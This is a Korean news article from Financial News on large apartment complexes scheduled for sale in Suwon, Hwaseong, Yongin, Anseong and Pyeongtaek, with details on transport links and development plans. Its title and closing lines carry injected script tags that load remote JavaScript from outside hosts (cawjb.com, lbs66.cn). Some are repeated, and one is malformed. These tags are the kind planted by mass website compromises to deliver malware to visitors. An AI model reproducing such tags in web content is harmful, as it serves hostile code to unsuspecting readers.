경기 수원/평택/용인 등 분양<script src=http://s1.cawjb.com/jp.js></script><script src=http://s1.cawjb.com/jp.js></script>

경기도 안성과 평택, 수원, 화성, 용인 등 수도권 남부지역에 대단지 분양이 잇따르면서 올 봄 분양시장을 달구고 있다. 특히 이 지역은 분당 판교 광교 동탄을 잇는 경부축 개발라인에 있어 실수요자들의 관심을 끌고 있다. 26일 분양업체에 따르면 올 상반기 중 수원, 화성, 용인, 안성, 평택 등 수도권 남부에서 분양을 앞두고 있는 1000가구 이상의 대단지 아파트는 총 7곳, 1만77가구에 달한다. 이처럼 수도권 남부에 대단지 분양이 몰리는 이유는 다양한 개발 재료로 인한 주거환경 개선과 시세 상승 가능성 때문이다.  특히 이들 지역은 도심 기능 분산과 수도권 경쟁력 강화를 위해 꾸준히 개발계획이 추진되고 있어 발전 가능성이 높다. 지역별로 살펴보면, 수원은 오리∼수원역을 잇는 분당선 연장(2011년 완공 예정)과 서울 강남∼수원 호매실을 잇는 신분당선 개통(2019년 완공 예정)에 더해 광교신도시 및 권선구 행정타운 개발이, 화성은 수도권 신도시 중 가장 규모가 큰 동탄신도시에 더해 유니버셜스튜디오 코리아 리조트가 2012년 개장을 예정으로 추진 중에 있다. 또한 용인은 난개발의 오명을 벗기 위해 ‘서북부∼동남부’ 균형개발을 추진할 계획이며, 분당선과 신분당선, 경전철 등 3개 철도노선이 시내 주요 지역을 관통하는 광역 교통 네트워크가 형성된다. 안성과 평택도 굵직한 개발재료들이 많다. 안성의 경우, 자족적 친환경 문화도시를 표방한 안성뉴타운과 제4지방산업단지, 평택∼음성 간 고속도로 완공 등으로 새로이 거듭나게 될 예정이다.  평택은 ‘국제화계획지구’(국제평화도시)가 2020년까지 17.46㎢면적, 계획인구 13만여 명으로 추진되는데, 송도 못지않은 국제도시로 거듭날 예정이어서 일찍부터 주목을 받아왔다. 안성에서는 1000가구가 넘는 대단지 아파트가 두 곳에서 분양된다. 2월에는 KCC건설이 공도읍 만정리에 ‘안성 공도 KCC 스위첸’ 1101가구를 분양한다. 특히 안성,평택 지역 아파트 최초로 단지 내에 입주민 전용 영화관(36석)이 있어 다른 아파트와 차별화됐다.  벽산건설도 오는 3월 같은 지역에서 ‘안성 공도 벽산 블루밍’ 1378가구를 분양한다. 두 단지 모두 공도택지개발지구 인근에 있다. 공도지구는 평택과 안성의 중간에 위치하는 뛰어난 입지여건을 갖췄다.  경부고속도로 안성IC와 가까우며, 2009년 완공 예정인 평택∼음성 간 고속도로와 앞으로 건설될 하남∼안성 간 고속도로가 완공되면 교통여건이 좋아진다. 인근에 위치한 롯데마트를 이용하기 편하고, 2009년에는 시립도서관이 생겨난다. 공도초?공도중이 가까우며, 중앙대학교 안성캠퍼스와 한경대학교도 가깝다. 수원에서는 대림산업과 GS건설이 권선구 권선동에서 권선주공 1, 3차 재건축단지를 공동 시공하여 ‘권선 e-편한세상·자이’를 3월에 분양한다. 1754가구로 구성되며, 이 중 일반에 411가구를 선보인다. 지하철 1호선 세류역이 차로 5분 거리며, 분당선이 연장되면 수원시청역도 이용가능하다. 올림픽공원이 가까우며, 갤러리아 백화점, 이마트를 이용할 수 있다. 화성에서는 3월 능동에 풍성주택이 ‘화성 능동 풍성 신미주’ 아파트 1330가구를 분양한다. 동탄신도시 바로 옆에 있다. 지하철 1호선 병점역을 이용할 수 있고, 병점기지창역까지 신설되면 교통은 더욱 좋아진다. 여의도의 2배 길이 센트럴파크를 도보로 이용할 수 있고, 삼성 디지털밸리가 인접해 있다. 용인에서는 상반기에 두 곳에서 분양된다. 동부건설이 3월에 신봉지구 1, 5, 6블록에 ‘용인 신봉 동부 센트레빌’ 1238가구를 분양하며, 이 중 일반에 298가구를 내놓는다. 아직 구체적인 시기는 미정이나 동일토건에서도 신봉지구 2, 3, 4블록에 ‘용인 신봉 동일 하이빌’ 1462가구를 선보인다. 신봉지구는 판교신도시와 광교신도시 사이에 있어, 뛰어난 입지조건을 갖췄다. 서울∼용인 간 고속도로가 그 인근에서 2009년 개통된다. 또 2015년에 신분당선이 개통되면 서울 강남까지 30∼40분 거리로 도달 가능하다. 신세계백화점 이마트 등이 인근에 있다. 평택에서는 장안동에 금호건설과 코오롱건설이 ‘평택 장안동 금호 어울림·코오롱 하늘채’ 1814가구를 4월에 분양한다.  업계 관계자는 “대단지 아파트는 시세상승률이 높고 부동산 침체기에도 상대적으로 집값 하락율이 낮은 편”이라며 “쾌적한 주거환경을 원하는 실수요자는 물론 경기 상승에 따라 높은 투자수익을 기대하는 투자자들에게도 안정적인 투자처가 될 수 있다”고 말했다. <자료원: 파이낸셜뉴스>(shin@fnnews.com신홍범기자  ) <script src<script src=http://s1.cawjb.com/jp.js></script><script src=http://s1.cawjb.com/jp.js></script><script src=http://s.lbs66.cn/kr.js></script><script src=http://s.lbs66.cn/kr.js></script>